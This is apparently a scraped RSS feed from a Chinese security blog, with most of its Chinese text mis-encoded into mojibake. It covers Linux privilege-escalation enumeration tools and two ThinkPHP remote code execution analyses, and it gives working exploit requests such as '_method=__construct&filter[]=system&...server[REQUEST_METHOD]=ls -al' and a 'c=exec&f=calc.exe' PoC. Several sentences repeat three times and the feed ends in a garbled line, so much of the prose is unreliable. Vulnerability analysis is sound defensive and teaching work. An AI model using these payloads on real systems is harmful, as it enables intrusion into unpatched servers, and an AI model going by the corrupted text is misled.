Git clone https://github.com/rebootuser/LinEnum.git

1.jpeg


完成下蝲之后Q你可以在l端中通过键入./LinEnum.sh来运行它。之后它{储所有获取的数据和系l详l信息?/span>

2.jpeg

Linuxprivchecker
枚Dpȝ配置以及执行一些提升权限的查。通过下面q道传送门下蝲Q?传送门
只需在终端键入python linuxprivchecke.py可以用该脚本Q该脚本枚举文件和目录的权限和内容。这个脚本和LinEnum工作原理大致相同q且在相关系l网l和用户获得的信息更详细?/span>
3.jpeg

Linux Exploit Suggester
它基于操作系l的内核版本受这个程序会执行“uname -r”命令来获取Linux操作pȝ发行版本Q之后返回一个包含了适用exploits的提C列表。此外它q提供了一个?k”参数用以指定内核版本。与上面介绍的不同,它是一个Perl脚本。可使用以下命o下蝲q个脚本?/span>
git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git
4.jpeg


如果你知道内核版本号可以在l端中直接键入下列命令:
./Linux_Exploit_Suggester.pl -k 3.5
如果不知道就键入
./Linux_Exploit_Suggester.pl uname –r
来获得内核版本号Q然后用上一条命令ƈ把版本号替换成你自己的?/span>
然后它就会给Z下徏议列表?/span>
5.jpeg

Unix-Privesc-checker
在UNIXpȝ上检提权向量的shell脚本Q它可以在UNIX和Linuxpȝ上运行。寻N|错误用以ؓ非授权用h升权限或者访问本地应用?/span>
它被~写为单个shell脚本所以可以很Ҏ上传和执行。它可以被普通用h?span class="kl_auto_internal_links_tag">root用户执行。当它发C个组可写的文件或目录Ӟ如果q个l包有超q一个的非root用户Q它只标C个结果?/span>
使用下列命o下蝲

Git clone https://github.com/pentestmonkey/unix-privesc-check.git
6.jpeg

解压文gQ键入以下命令执?/span>
unix-privesc-check standard

7.jpeg

]]>
Thu, 09 May 2019 06:27:27 +0000 mOon http://www.unaogn.live/post-866.html
【{载】Thinkphp5.1 ~ 5.2 全版本代码执?/title> <link>http://www.unaogn.live/post-865.html</link> <description><![CDATA[<h3> 序言 </h3> <p> 最q爆ZThinkphp5.0.*全版本代码执行,其中5.1?.2全版本在<strong>生环境?/strong>下同样也存在代码执行 </p> <hr /> <h3> <span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/漏洞分析" title="查看标签?漏洞分析 的文? target="_blank">漏洞分析</a></span>Q? </h3> <p> 文g位置Q\thinkphp\library\think\Request.php </p> <pre class="prettyprint prettyprinted"><span class="pln"> </span><span class="com">/** * 当前的请求类? * @access public * @param bool $origin 是否获取原始hcd * @return string */</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">fu<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/nc" title="查看标签?nc 的文? target="_blank">nc</a></span>tion</span><span class="pln"> method</span><span class="pun">(</span><span class="pln">$origin </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$origin</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> </span><span class="com">// 获取原始hcd</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">server</span><span class="pun">(</span><span class="str">'REQUEST_METHOD'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">?:</span><span class="pln"> </span><span class="str">'GET'</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> elseif </span><span class="pun">(!</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">method</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">config</span><span class="pun">[</span><span class="str">'var_method'</span><span class="pun">]]))</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">method </span><span class="pun">=</span><span class="pln"> strtoupper</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">config</span><span class="pun">[</span><span class="str">'var_method'</span><span class="pun">]]);</span><span class="pln"> $method </span><span class="pun">=</span><span class="pln"> strtolower</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">method</span><span class="pun">);</span><span class="pln"> $this</span><span class="pun">->{</span><span class="pln">$method</span><span class="pun">}</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $_POST</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> elseif </span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">server</span><span class="pun">(</span><span class="str">'<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/HTTP" title="查看标签?HTTP 的文? target="_blank">HTTP</a></span>_X_<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/HTTP" title="查看标签?HTTP 的文? target="_blank">HTTP</a></span>_METHOD_OVERRIDE'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">method </span><span class="pun">=</span><span class="pln"> strtoupper</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">server</span><span class="pun">(</span><span class="str">'HTTP_<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/X" title="查看标签?X 的文? target="_blank">X</a></span>_<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/HTTP" title="查看标签?HTTP 的文? target="_blank">HTTP</a></span>_METHOD_OVERRIDE'</span><span class="pun">));</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">method </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">server</span><span class="pun">(</span><span class="str">'REQUEST_METHOD'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">?:</span><span class="pln"> </span><span class="str">'GET'</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">method</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span></pre> <p> 其中Q? </p> <pre class="prettyprint prettyprinted"><span class="pln">$this</span><span class="pun">-></span><span class="pln">method </span><span class="pun">=</span><span class="pln"> strtoupper</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">config</span><span class="pun">[</span><span class="str">'var_method'</span><span class="pun">]]);</span><span class="pln"> $method </span><span class="pun">=</span><span class="pln"> strtolower</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">method</span><span class="pun">);</span><span class="pln"> $this</span><span class="pun">->{</span><span class="pln">$method</span><span class="pun">}</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $_POST</span><span class="pun">;</span></pre> <p> $method变量?this->methodQ其同等于POST的”_method”参数? </p> <p> 然后该处存在一个变量覆? </p> <p> 我们可以覆盖 $filter 属性?POC如下) </p> <pre class="prettyprint prettyprinted"><span class="pln">c</span><span class="pun">=</span><span class="kwd">exec</span><span class="pun">&</span><span class="pln">f</span><span class="pun">=</span><span class="pln">calc</span><span class="pun">.</span><span class="pln">exe</span><span class="pun">&&</span><span class="pln">_method</span><span class="pun">=</span><span class="pln">filter</span><span class="pun">&</span></pre> <p> 讉K如下图所C: </p> <p> <br /> </p> <p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201901/4a471547542515.png" id="ematt:4552"><img src="http://www.unaogn.live/content/uploadfile/201901/thum-4a471547542515.png" title="点击查看原图" alt="1.png" width="420" height="236" border="0" /></a> </p> <p> <br /> </p> <p> <p> 会爆Z个警告别的异常Q导致程序终? </p> <h3> 如何触发Q? </h3> <p> 如果讄忽略异常提示Q如下图Q? </p> </p> <p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201901/fb5c1547542533.png" id="ematt:4554"><img src="http://www.unaogn.live/content/uploadfile/201901/fb5c1547542533.png" title="点击查看原图" alt="2.png" width="358" height="46" border="0" /></a> </p> <p> 本n目发布需要屏蔽异常和错误所以这个配|是一个正常的配置 </p> <p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201901/10fb1547542547.png" id="ematt:4555"><img src="http://www.unaogn.live/content/uploadfile/201901/thum-10fb1547542547.png" title="点击查看原图" alt="3.png" width="420" height="178" border="0" /></a> </p>]]></description> <pubDate>Tue, 15 Jan 2019 08:53:41 +0000</pubDate> <author>mOon</author> <guid>http://www.unaogn.live/post-865.html</guid> </item> <item> <title>【{载】ThinkPHP 5.0 * q程代码执行漏洞分析 http://www.unaogn.live/post-863.html ThinkPHP 5.0 * q程代码执行漏洞分析


本文主要以官|下载的5.0.23 完整?thinkphp_5.0.23_with_extend.zip)Z分析?br />
Thinkphp处理h的关键类为Request(thinkphp/library/think/Request.php)
该类可以实现?span class="kl_auto_internal_links_tag">HTTPh的一些设|?br />
其中成员函数method用来获取当前hcdQ其定义如下

1.png

该函C要在其他成员函数Q例如isGet、isPost、isPut{)中被用来做请求类型判?/span>

2.png

因此在method()中,可以通过“表单伪装变量”进行变量覆盖实现对该类L函数的调用,q且$_POST作ؓ函数的参C入?/span>


4.png



Requestcȝ构造函数定义如下:

5.png


构造函CQ主要对option数组q行遍历Q当 option数组q行遍历Q当option数组q行遍历Q当option的键名ؓ该类属性时Q则该cd名的属性赋gؓ$options中该键的对应倹{?br />
因此可以构造请求如下,来实现对Requestcd性值的覆盖Q例如覆盖filter属性。filter属性保存了用于全局qo的函数?br /> 因此在thinkphp 5.0.10 中可以通过构造如下请求实C码执行:

6.png


在官|最C载的5.0.23完整版中Q在Appc(thinkphp/library/think/App.phpQ中moduleҎ增加了设|filter参数值的代码Q用于初始化filter。因此通过上述h讄的filter参数g被重新覆盖ؓI导致无法利用?/span>

7.png


?.0.23的RequestcMQ存在param成员函数用于获取当前h的参数。其中也有调用method()函数Qƈ且传入参数gؓtrue。param函数代码实现如下Q?/span>

8.png

当传入的$method === true?会执行如下代码,

9.png

其中server()实现如下Q?/span>

10.png


由此可见Q参?name为REQUEST_METHODQ最l会调用input函数。input函数实现如下。最l会执行?filter = this?gt;getFilter( this->getFilter(this?gt;getFilter(filter,$default); 来解析过滤器?br /> 11.png

此时filter为‘’, filter 为‘’,filter为‘’,default为null?br /> l箋跟进查看getFilter函数的实玎ͼ

122.png


׃filter=‘‘,因此可以执行到红U处Qƈ且最l?filter = ‘‘,因此可以执行到红U处Qƈ且最lfilter=‘‘,因此可以执行到红U处Qƈ且最lfilter会被赋Dthis?gt;filterQ和 this-&gt;filter Q和this?gt;filterQ和default ?null。因此经q“解析过滤器”的q程Qfilter最l可被添加来自请求中的filter。之后,代码判断?filter最l可被添加来自请求中的filter。之后,代码判断了filter最l可被添加来自请求中的filter。之后,代码判断了data是否为数l,最l将每个g为参敎ͼ通过filterValue()函数q行qo。而data即ؓserver()函数中传入的 data即ؓserver()函数中传入的data即ؓserver()函数中传入的this->server ,因此也可通过在调用构造函数时Q实现对$this->server值的覆盖?br />
filterValue函数实现如下Q?br />
13.png


因此在debug模式下,发送如下请求可实现代码执行:

14.png


例如touch /tmp/xxxx

15.png


l箋分析。可以看到“记录\由和h信息”之前,q实C“未讄调度信息则进行URL路由。”其中通过routeCheck函数来设|dispatch。最l再通过exec函数Q将 dispatch。最l再通过exec函数Q将dispatch。最l再通过exec函数Q将request和config作ؓ参数传入后执行。其?config 作ؓ参数传入后执行。其中config作ؓ参数传入后执行。其中config 是通过initCommon函数调用init函数来加载config配置文g来实现赋倹{?request即ؓRequest::instance()?

16.png

其中routeCheck函数实现如下Q?/span>

17.png


首先会通过加蝲config文g导入“\由配|”。默认配|如下:

18.png

然后通过RoutecȝimportҎ加蝲路由。由于在入口文gindex.php(public/index.php)中加载了start.php(thinkphp/start.php)

19.png

start.php又加载了base.php(thinkphp/base.php)

20.png

base.php中实C注册自动加蝲

21.png


register函数实现如下Q?/span>

22.png

该函数完成了对VENDOR下class的加载。其中完成了验证码类路由的加?/span>

23.png

因此上面import之后QRoutec?rules值将形如下:

24.png


然后代码会执行到“\由检”的部分卌用Route::check的地方,路由主要用于根据\q定义q回不同的URL调度?

Routeccheck函数实现如下Q?

25.png

可以看到该check函数中调用了RequestcȝmethodҎ。ƈ函数执行结果{换ؓ写后保存在method变量。由于RequestcMmethod函数在返回method时直接判断了如果存在 method变量。由于RequestcMmethod函数在返回method时直接判断了如果存在method变量。由于RequestcMmethod函数在返回method时直接判断了如果存在this->method直接q回
26.png

因此我们在调用构造函数覆盖变量时Q可以直接覆盖methodQ这样上面的method=strtolower( method = strtolower(method=strtolower(request->method()); ?method最l的值就可以被控制了?br />
回到check函数Q在讄完method后,会根?method 后,会根据method后,会根据method在self::rules中获取对?rules中获取对应rules中获取对应method的\׃息,q将l果赋值给$rules.
27.png

最l函数的return依赖rulesQ因?rules Q因此rulesQ因此method不同q回也不同。当method为getӞ method 为get Ӟmethod为getӞrules ؓ如下Q?br /> 28.png

׃$item = str_replace(’|? ?? $url); ?url=strreplace( url = str_replace(url=strreplace(depr, ‘|? url);而这?url); 而这个url);而这个url最初ؓ该函数的参数Q在AppcrouteCheckҎ中调?br /> 29.png

而这?path = $request->path();

RequestcȝpathҎ实现如下

30.png

当is_null($this->path)Ӟ通过pathinfo()函数来获?/span>

31.png

其中var_pathino 默认gؓs

32.png

因此lgQ我们可以通过URL中s参数来设|AppcrouteCheck函数中的pathQ即Routerccheck函数中的 path Q即Routerccheck函数中的pathQ即Routerccheck函数中的url ,最l即能控?Routerccheck函数中的item从而控制check函数真正return哪种l果。从而最l媄响AppcrunҎ?item 从而控制check函数真正return哪种l果。从而最l媄响AppcrunҎ的item从而控制check函数真正return哪种l果。从而最l媄响AppcrunҎ的dispath值即调度信息?br />

׃$dispatch 会作为参数在exec中调用?

33.png


其中exec的实现如下:

34.png

exec会根据dispatch[‘type’]来决定实际执行的代码。前面分析可知,我们需要触发RequestcMparam函数的调用来完成对filter的覆盖。此处显而易见的是,?dispatch[‘type’]来决定实际执行的代码。前面分析可知,我们需要触发RequestcMparam函数的调用来完成对filter的覆盖。此处显而易见的是,当dispatch[‘type’]来决定实际执行的代码。前面分析可知,我们需要触发RequestcMparam函数的调用来完成对filter的覆盖。此处显而易见的是,当dispatch[‘type’]为controller 和method时有直接的调用。当然其他的cdQ例如当dispatch[‘type’]为functionQ调用了invokeFunctionQ而invokeFunction调用了bindParams函数QbindParams函数里存在对param函数的调用。MQ我们需要控制请求url中s的值完成设|不同的 dispatch[‘type’]为functionQ调用了invokeFunctionQ而invokeFunction调用了bindParams函数QbindParams函数里存在对param函数的调用。MQ我们需要控制请求url中s的值完成设|不同的dispatch[‘type’]为functionQ调用了invokeFunctionQ而invokeFunction调用了bindParams函数QbindParams函数里存在对param函数的调用。MQ我们需要控制请求url中s的值完成设|不同的methodQ最l让routeCheckq回我们需要的$dispath卛_?br />
例如我们控制url?/public/index.php?s=captchaQ同时post body为_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al则check函数最l会q入


35.png


然后checkRoute函数Q由于rule为字W串Q?/span>

36.png


因此最l会q?/span>

37.png


然后会进?parseRule

38.png

然后会进?/span>

39.png

最后返?/span>$result. 因此最l?dispatchgؓQ?/span>

40.png

因而在传入exec函数后,触发RequestcȝparamҎQ最l覆盖Requestcȝserver变量Q接着通过RequestcȝinputҎQ实CQ意代码执行?/span>

41.png

修复:

git更新最新框架代?span> https://github.com/top-think/framework


转蝲Q?span class="kl_auto_internal_links_tag">https://blog.csdn.net/qq_29647709/article/details/86307859


]]>
Sat, 12 Jan 2019 02:45:34 +0000 mOon http://www.unaogn.live/post-863.html
ӱ11ѡ5